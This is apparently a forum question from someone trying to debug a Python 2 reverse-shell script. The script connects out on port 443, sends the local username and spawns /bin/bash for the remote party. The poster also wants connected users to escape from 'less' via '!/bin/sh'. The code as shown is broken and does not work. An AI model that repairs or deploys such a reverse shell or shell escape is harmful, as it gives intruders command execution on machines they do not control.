I read the answer on this question, which is similar to my problem and edited it to explain what I am trying to do. In this code I am running bash
command on the script and expecting to directly open a shell on the client side who connects to the port.
Although this is not what my main aim is, what I am trying to do is execute less
command to open and read a file and allow the user connected on the port to also be able to use other functionalities of less
command like passing !/bin/sh
.
Coming to the problem, When i run the below code, I don't get the shell open and I can't pass commands to the bash shell(Nothing happens). This is maybe because of the way I am using stdout,stdin and sterr arguments.
Any help would be appreciated.
import getpass
import socket
import subprocess
username = getpass.getuser()
host = socket.gethostbyname('')
port = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = None
while connection is None:
try:
connection = s.connect((host, port))
s.send("[+] We are connected to %s" % username)
while True:
try:
exec_code = s.recv(1024)
if exec_code == "quit":
break
else:
proc = subprocess.Popen("/bin/bash", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
stdout_value = proc.stdout.read() + proc.stderr.read()
s.send(stdout_value)
except Exception, err:
print err
except Exception, e:
print e
s.close()